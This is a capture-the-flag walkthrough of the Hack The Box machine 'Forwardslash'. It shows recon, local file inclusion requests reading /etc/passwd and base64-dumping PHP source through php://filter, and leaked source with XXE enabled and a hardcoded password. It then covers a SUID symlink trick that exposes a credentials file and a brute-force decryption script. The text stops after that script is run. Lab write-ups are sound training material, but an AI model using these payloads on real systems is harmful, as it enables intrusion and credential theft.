Hackthebox Forwardslash writeup
Introduction@forwardslash:~$
Column | Details |
---|---|
Name | forwardslash |
IP | 10.10.10.183 |
Points | 40 |
Os | Linux |
Difficulty | Hard |
Creator | InfoSecJack and Chivato |
Out On | 4 April 2020 |
Brief@forwardslash:~$
The journey of the Machine Forwardslash
starts with finding a subdomain
.And then a lfi by using php Wrapper
do all the work for us , and inclusion of a file that is forbidden for us.The file has credentials for user.A suid is owned by user pain
and which is generating md5sum of timestamp and if we run the config.php.bak
with that timestamp we got pain user credentials
.Getting the key after analyzing the python script.User pain can mount
images with privilege of root and hence we got private ssh keys of user root.
Summary
- Finding the SubDomain using
wfuzz
- Testing for Local File Inclusion
- Using php
wrapper
to extract the forbidden/dev
dir content - Login as Chiv
- After analyzing the suid binary
backup
andconfig.php.bak
getting pain credentials - Login as Pain
- Got
User.txt
- Analyzing the python script from the dir encryptorinator
- Getting the key from the script.
- User
pain
may run some command assudo
. - Mounting the Images to ~/mnt after using that key.
- Login as
Root
- Got root.txt
Pwned
Recon
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
➜ forwardslash nmap -sV -sC -T4 -p- -oA nmap.full forwardslash.htb
# Nmap 7.80 scan initiated Thu Apr 9 15:20:58 2020 as: nmap -sV -sC -T4 -p- -oA nmap.full forwardslash.htb
Nmap scan report for forwardslash.htb (10.10.10.183)
Host is up (0.25s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)
| 256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)
|_ 256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Backslash Gang
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 9 15:33:12 2020 -- 1 IP address (1 host up) scanned in 734.16 seconds
➜ forwardslash
Only Two ports are opened 80:http
and 22:ssh
.So for sure we need to start from port 80.
Port 80 –
It has a fancy web page saying that its been hacked!
Running Gobuster doesnt show me anything useful.So i tried to enumerate subdomain.
Wfuzz For finding subdomain
- –hh = for hinding the result which has
content length 0
- –hc = for hiding result which have response 400
- -c = for making the result
colorful
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜ forwardslash wfuzz --hh 0 -H 'Host: FUZZ.forwardslash.htb' -u http://10.10.10.183/ --hc 400 -w /usr/share/wordlists/wfuzz/general/common.txt -c
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's' documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.183/
Total requests: 949
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000088: 302 0 L 6 W 33 Ch "backup"
Total time: 35.30510
Processed Requests: 949
Filtered Requests: 948
Requests/sec.: 26.87996
Here we got a subdomain backup the final result will be backup.forwardslash.htb
, I added it to /etc/hosts file
1
➜ forwardslash echo -e "10.10.10.183\tbackup.forwardslash.htb" >> /etc/hosts
Now i ran gobuster
on the initial page of the subdomain.
Gobuster
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
➜ forwardslash gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -k -x "txt,html,php,asp,aspx,jpg" -u http://backup.forwardslash.htb/ -o gobuster-result
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://backup.forwardslash.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,asp,aspx,jpg,txt,html
[+] Follow Redir: true
[+] Timeout: 10s
===============================================================
2020/04/21 10:27:17 Starting gobuster
===============================================================
/index.php (Status: 200)
/login.php (Status: 200)
/register.php (Status: 200)
/welcome.php (Status: 200)
/dev (Status: 403)
/api.php (Status: 200)
/environment.php (Status: 200)
/logout.php (Status: 200)
/config.php (Status: 200)
/hof.php (Status: 200)
There are so many file some with 200
and /dev
dir has a 403 response.
Lets browse it on browser.
It has a login
page and we can sign up there too as there is a sign up option.
i Signed up there easily. And now i can login simply to check whats inside it.
There is a welcome
page and some of the options we saw on the gobuster result.
Local File Inclusion
There is a /profilepicture.php
where the input
and submit
option . We can enable the disabled attributes by inspect-element.
I just enter a test
value in the input field and intercept the request using burp
for hit and trials
.Send it to Repeater
.
it send a image url to test that what will be the result.The request was the following.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Length: 83
Cache-Control: max-age=0
Origin: http://backup.forwardslash.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://backup.forwardslash.htb/profilepicture.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,hi;q=0.8
Cookie: PHPSESSID=l1nm05k0co9fmed61jnud97usg
Connection: close
url=https://raw.githubusercontent.com/0xprashant/hackthebox-images/master/magic.png
And the response
was
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
HTTP/1.1 200 OK
Date: Tue, 21 Apr 2020 11:07:14 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 689
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>Welcome</title>
<link rel="stylesheet" href="bootstrap.css">
<style type="text/css">
body{ font: 14px sans-serif; text-align: center; }
</style>
</head>
<body>
<div class="page-header">
<h1>Change your Profile Picture!</h1>
<font style="color:red">This has all been disabled while we try to get back on our feet after the hack.<br><b>-Pain</b></font>
</div>
<form action="/profilepicture.php" method="post">
URL:
<input type="text" name="url" disabled style="width:600px"><br>
<input style="width:200px" type="submit" value="Submit" disabled>
</form>
</body>
</html>
Basically it was nothing the page didnt do somehting
Testing LFI
I send the file:///etc/passwd
in the url parameter and the request
is following
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Length: 22
Cache-Control: max-age=0
Origin: http://backup.forwardslash.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://backup.forwardslash.htb/profilepicture.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,hi;q=0.8
Cookie: PHPSESSID=l1nm05k0co9fmed61jnud97usg
Connection: close
url=file:///etc/passwd
The response
is the following that i got
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
HTTP/1.1 200 OK
Date: Tue, 21 Apr 2020 11:08:35 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2349
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>Welcome</title>
<link rel="stylesheet" href="bootstrap.css">
<style type="text/css">
body{ font: 14px sans-serif; text-align: center; }
</style>
</head>
<body>
<div class="page-header">
<h1>Change your Profile Picture!</h1>
<font style="color:red">This has all been disabled while we try to get back on our feet after the hack.<br><b>-Pain</b></font>
</div>
<form action="/profilepicture.php" method="post">
URL:
<input type="text" name="url" disabled style="width:600px"><br>
<input style="width:200px" type="submit" value="Submit" disabled>
</form>
</body>
</html>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
pain:x:1000:1000:pain:/home/pain:/bin/bash
chiv:x:1001:1001:Chivato,,,:/home/chiv:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
And hell yeah we got the lfi
working.And now i remember the /dev
dir that was forbidden for us.
Now we can try to extract that file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Length: 57
Cache-Control: max-age=0
Origin: http://backup.forwardslash.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://backup.forwardslash.htb/profilepicture.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,hi;q=0.8
Cookie: PHPSESSID=l1nm05k0co9fmed61jnud97usg
Connection: close
url=file:///var/www/backup.forwardslash.htb/dev/index.php
Response was
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
HTTP/1.1 200 OK
Date: Tue, 21 Apr 2020 11:15:33 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 723
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>Welcome</title>
<link rel="stylesheet" href="bootstrap.css">
<style type="text/css">
body{ font: 14px sans-serif; text-align: center; }
</style>
</head>
<body>
<div class="page-header">
<h1>Change your Profile Picture!</h1>
<font style="color:red">This has all been disabled while we try to get back on our feet after the hack.<br><b>-Pain</b></font>
</div>
<form action="/profilepicture.php" method="post">
URL:
<input type="text" name="url" disabled style="width:600px"><br>
<input style="width:200px" type="submit" value="Submit" disabled>
</form>
</body>
</html>
Permission Denied; not that way ;)
We got a line at the last Permission Denied; not that way ;)
hmmm…cool.!!
Now here it comes the main
thing.We can try to include the php files using php Wrapper
.
You can read about it on PayloadAllTheThings
now i try to include the /var/www/backup.forwardslash.htb/dev/index.php
.
Request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /profilepicture.php HTTP/1.1
Host: backup.forwardslash.htb
Content-Length: 101
Cache-Control: max-age=0
Origin: http://backup.forwardslash.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://backup.forwardslash.htb/profilepicture.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,hi;q=0.8
Cookie: PHPSESSID=l1nm05k0co9fmed61jnud97usg
Connection: close
url=php://filter/convert.base64-encode/resource=file:///var/www/backup.forwardslash.htb/dev/index.php
Response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
HTTP/1.1 200 OK
Date: Tue, 21 Apr 2020 11:23:25 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 3361
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>Welcome</title>
<link rel="stylesheet" href="bootstrap.css">
<style type="text/css">
body{ font: 14px sans-serif; text-align: center; }
</style>
</head>
<body>
<div class="page-header">
<h1>Change your Profile Picture!</h1>
<font style="color:red">This has all been disabled while we try to get back on our feet after the hack.<br><b>-Pain</b></font>
</div>
<form action="/profilepicture.php" method="post">
URL:
<input type="text" name="url" disabled style="width:600px"><br>
<input style="width:200px" type="submit" value="Submit" disabled>
</form>
</body>
</html>
PD9waHAKLy9pbmNsdWRlX29uY2UgLi4vc2Vzc2lvbi5waHA7Ci8vIEluaXRpYWxpemUgdGhlIHNlc3Npb24Kc2Vzc2lvbl9zdGFydCgpOwoKaWYoKCFpc3NldCgkX1NFU1NJT05bImxvZ2dlZGluIl0pIHx8ICRfU0VTU0lPTlsibG9nZ2VkaW4iXSAhPT0gdHJ1ZSB8fCAkX1NFU1NJT05bJ3VzZXJuYW1lJ10gIT09ICJhZG1pbiIpICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICE9PSAiMTI3LjAuMC4xIil7CiAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwMyBGb3JiaWRkZW4nKTsKICAgIGVjaG8gIjxoMT40MDMgQWNjZXNzIERlbmllZDwvaDE+IjsKICAgIGVjaG8gIjxoMz5BY2Nlc3MgRGVuaWVkIEZyb20gIiwgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10sICI8L2gzPiI7CiAgICAvL2VjaG8gIjxoMj5SZWRpcmVjdGluZyB0byBsb2dpbiBpbiAzIHNlY29uZHM8L2gyPiIKICAgIC8vZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMzt1cmw9Li4vbG9naW4ucGhwIiAvPic7CiAgICAvL2hlYWRlcigibG9jYXRpb246IC4uL2xvZ2luLnBocCIpOwogICAgZXhpdDsKfQo/Pgo8aHRtbD4KCTxoMT5YTUwgQXBpIFRlc3Q8L2gxPgoJPGgzPlRoaXMgaXMgb3VyIGFwaSB0ZXN0IGZvciB3aGVuIG91ciBuZXcgd2Vic2l0ZSBnZXRzIHJlZnVyYmlzaGVkPC9oMz4KCTxmb3JtIGFjdGlvbj0iL2Rldi9pbmRleC5waHAiIG1ldGhvZD0iZ2V0IiBpZD0ieG1sdGVzdCI+CgkJPHRleHRhcmVhIG5hbWU9InhtbCIgZm9ybT0ieG1sdGVzdCIgcm93cz0iMjAiIGNvbHM9IjUwIj48YXBpPgogICAgPHJlcXVlc3Q+dGVzdDwvcmVxdWVzdD4KPC9hcGk+CjwvdGV4dGFyZWE+CgkJPGlucHV0IHR5cGU9InN1Ym1pdCI+Cgk8L2Zvcm0+Cgo8L2h0bWw+Cgo8IS0tIFRPRE86CkZpeCBGVFAgTG9naW4KLS0+Cgo8P3BocAppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICJHRVQiICYmIGlzc2V0KCRfR0VUWyd4bWwnXSkpIHsKCgkkcmVnID0gJy9mdHA6XC9cL1tcc1xTXSpcL1wiLyc7CgkvLyRyZWcgPSAnLygoKCgyNVswLTVdKXwoMlswLTRdXGQpfChbMDFdP1xkP1xkKSkpXC4pezN9KCgoKDI1WzAtNV0pfCgyWzAtNF1cZCl8KFswMV0/XGQ/XGQpKSkpLycKCglpZiAocHJlZ19tYXRjaCgkcmVnLCAkX0dFVFsneG1sJ10sICRtYXRjaCkpIHsKCQkkaXAgPSBleHBsb2RlKCcvJywgJG1hdGNoWzBdKVsyXTsKCQllY2hvICRpcDsKCQllcnJvcl9sb2coIkNvbm5lY3RpbmciKTsKCgkJJGNvbm5faWQgPSBmdHBfY29ubmVjdCgkaXApIG9yIGRpZSgiQ291bGRuJ3QgY29ubmVjdCB0byAkaXBcbiIpOwoKCQllcnJvcl9sb2coIkxvZ2dpbmcgaW4iKTsKCgkJaWYgKEBmdHBfbG9naW4oJGNvbm5faWQsICJjaGl2IiwgJ04wYm9keUwxa2VzQmFjay8nKSkgewoKCQkJZXJyb3JfbG9nKCJHZXR0aW5nIGZpbGUiKTsKCQkJZWNobyBmdHBfZ2V0X3N0cmluZygkY29ubl9pZCwgImRlYnVnLnR4dCIpOwoJCX0KCgkJZXhpdDsKCX0KCglsaWJ4bWxfZGlzYWJsZV9lbnRpdHlfbG9hZGVyIChmYWxzZSk7CgkkeG1sZmlsZSA9ICRfR0VUWyJ4bWwiXTsKCSRkb20gPSBuZXcgRE9NRG9jdW1lbnQoKTsKCSRkb20tPmxvYWRYTUwoJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKCSRhcGkgPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKCSRyZXEgPSAkYXBpLT5yZXF1ZXN0OwoJZWNobyAiLS0tLS1vdXRwdXQtLS0tLTxicj5cclxuIjsKCWVjaG8gIiRyZXEiOwp9CgpmdW5jdGlvbiBmdHBfZ2V0X3N0cmluZygkZnRwLCAkZmlsZW5hbWUpIHsKICAgICR0ZW1wID0gZm9wZW4oJ3BocDovL3RlbXAnLCAncisnKTsKICAgIGlmIChAZnRwX2ZnZXQoJGZ0cCwgJHRlbXAsICRmaWxlbmFtZSwgRlRQX0JJTkFSWSwgMCkpIHsKICAgICAgICByZXdpbmQoJHRlbXApOwogICAgICAgIHJldHVybiBzdHJlYW1fZ2V0X2NvbnRlbnRzKCR0ZW1wKTsKICAgIH0KICAgIGVsc2UgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKPz4K
At the last of the response if you decode it as base64
, We can get the full php file i.e /dev/index.php
Here is the full php-code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
//include_once ../session.php;
// Initialize the session
session_start();
if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
header('HTTP/1.0 403 Forbidden');
echo "<h1>403 Access Denied</h1>";
echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
//echo "<h2>Redirecting to login in 3 seconds</h2>"
//echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
//header("location: ../login.php");
exit;
}
?>
<html>
<h1>XML Api Test</h1>
<h3>This is our api test for when our new website gets refurbished</h3>
<form action="/dev/index.php" method="get" id="xmltest">
<textarea name="xml" form="xmltest" rows="20" cols="50"><api>
<request>test</request>
</api>
</textarea>
<input type="submit">
</form>
</html>
<!-- TODO:
Fix FTP Login
-->
<?php
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {
$reg = '/ftp:\/\/[\s\S]*\/\"/';
//$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'
if (preg_match($reg, $_GET['xml'], $match)) {
$ip = explode('/', $match[0])[2];
echo $ip;
error_log("Connecting");
$conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");
error_log("Logging in");
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
error_log("Getting file");
echo ftp_get_string($conn_id, "debug.txt");
}
exit;
}
libxml_disable_entity_loader (false);
$xmlfile = $_GET["xml"];
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$api = simplexml_import_dom($dom);
$req = $api->request;
echo "-----output-----<br>\r\n";
echo "$req";
}
function ftp_get_string($ftp, $filename) {
$temp = fopen('php://temp', 'r+');
if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
rewind($temp);
return stream_get_contents($temp);
}
else {
return false;
}
}
?>
The most interesting line is
1
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
since there is not any ftp port opened , we can conclude that the credentials are of ssh of user chiv
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
➜ prashant sshpass -p N0bodyL1kesBack/ ssh chiv@10.10.10.183
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Apr 21 11:30:42 UTC 2020
System load: 0.0 Processes: 164
Usage of /: 30.6% of 19.56GB Users logged in: 0
Memory usage: 12% IP address for ens33: 10.10.10.183
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
16 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Apr 21 07:35:26 2020 from 10.10.14.52
chiv@forwardslash:~$
And finally we are logged in as chiv.Still we dont have permissions to read the user.txt
cause its owned by user pain.
1
-rw------- 1 pain pain 33 Apr 21 06:08 user.txt
Privilege-escalation to Pain
Now i ran LinEnum.sh
For Getting a way to be pain
.And a interesting thing that i got is a SUID
binary that is owned by Pain
1
2
[-] SUID files:
-r-sr-xr-x 1 pain pain 13384 Mar 6 10:06 /usr/bin/backup
And one more interesting thing there is a file called config.php.bak which is also owned by user pain.But dont have permission to r/w/x.
Analyzing the backup binary
Its a custom binary
which has following output
1
2
3
4
5
6
7
8
9
10
chiv@forwardslash:/var/www/backup.forwardslash.htb$ backup
----------------------------------------------------------------------
Pains Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 11:56:51
ERROR: d99c2c7f8fe2c01787f88e9974e4f1fa Does Not Exist or Is Not Accessible By Me, Exiting...
The hash that its generating changes everytime and the hash is md5 i can confirm it with hash-identifier
.
After hitting some walls i just looked at the lines
1
2
3
4
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
Its saying it is a time based Backup Viewer
maybe the md5sum that is being generated its of the current timestamp including seconds thats why its changing everytime when you run it again.
Here i made a bash script just for checking the md5 value if it will be same.
1
2
3
time="$(date +%H:%M:%S | tr -d '\n' | md5sum | tr -d ' -')"
echo $time
backup
And i ran it
1
2
3
4
5
6
7
8
9
10
11
12
chiv@forwardslash:~$ ./time.sh
834e8e2a2c83f1b3e2dbfe3929e24b34
----------------------------------------------------------------------
Pains Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 12:06:24
ERROR: 834e8e2a2c83f1b3e2dbfe3929e24b34 Does Not Exist or Is Not Accessible By Me, Exiting...
chiv@forwardslash:~$
Here i got the same md5 hash , but what now.
Then i remember the config.php.bak
that was stated as the old config
file backup and from the backup
binary we can view backup since its a backup viewer.
Here i made a bash script which will do all the magic
stuff.
1
2
3
4
5
6
#!/bin/bash
time="$(date +%H:%M:%S | tr -d '\n' | md5sum | tr -d ' -')"
echo "$time"
ln -s /var/backups/config.php.bak /home/chiv/$time
backup
This will create a timestamp
of the current time
and convert it to md5 . And then it will link the config.php.bak
file with the time
variable and then run the backup
binary.This will show us the content of the config.php.bak file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
chiv@forwardslash:~$ ./time.sh
47771ddc7eb2d50853a6bf5c4ab81c69
----------------------------------------------------------------------
Pains Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 12:28:58
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'pain');
define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704');
define('DB_NAME', 'site');
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>
And here we got the user pain
credentials for the mysql
datatbase.If you switch to user pain using the following password we got.
1
2
3
chiv@forwardslash:~$ su - pain
Password:
pain@forwardslash:~$
Got user.txt@forwardslash:~$
1
2
3
pain@forwardslash:~$ cat user.txt
dcf---------------------------a2
pain@forwardslash:~$
Privilege Escalation to root
The user pain can run the following commands with sudo privileges without a password
1
2
3
4
5
6
7
8
pain@forwardslash:~$ sudo -l
Matching Defaults entries for pain on forwardslash:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pain may run the following commands on forwardslash:
(root) NOPASSWD: /sbin/cryptsetup luksOpen *
(root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
(root) NOPASSWD: /bin/umount ./mnt/
cryptsetup
is used to map the images generally of a backup images.And then we can mount the mapped images to any dir and access the files in it.
There is a python script called encrypter.py
and and ciphertext in the dir called encryptorinator
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def encrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in key:
for i in range(len(msg)):
if i == 0:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
else:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])
while tmp > 255:
tmp -= 256
msg[i] = chr(tmp)
return ''.join(msg)
def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return ''.join(msg)
print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))
So i just analyzed the code and i was able decrypt the ciphertext with the following script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return ''.join(msg)
ciphertext = open('ciphertext', 'r').read().rstrip()
for i in range(1, 165):
for j in range(33, 127):
key = chr(j) * i
msg = decrypt(key, ciphertext)
if 'the ' in msg or 'be ' in msg or 'and ' in msg or 'of ' in msg :
exit("Key: {0}, Msg: {2}".format(key, len(key), msg))
After running the script we got the key , and the message.
Output of the script
1
2
➜ forwardslash python2 decrypt.py
